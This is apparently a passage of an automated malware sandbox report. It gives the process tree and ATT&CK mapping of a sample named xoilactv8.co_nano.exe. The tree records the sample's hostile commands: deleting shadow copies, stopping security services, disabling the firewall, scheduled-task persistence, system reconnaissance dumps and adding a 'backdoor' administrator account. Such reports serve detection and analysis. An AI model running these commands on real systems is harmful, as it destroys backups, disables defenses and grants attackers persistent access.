- - C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe"
    3⤵
    PID:2936
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1548
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3944
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:5080
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4088
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1160
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4488
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4068
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:764
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4656
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:1260
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1368
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1556
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1712
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4880
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3444
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1836
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1548
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:3536
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5020
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4828
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4180
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:1372

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4308
- C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe
  C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe
  2⤵
  PID:548

C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe
1⤵
PID:2204

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:1172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery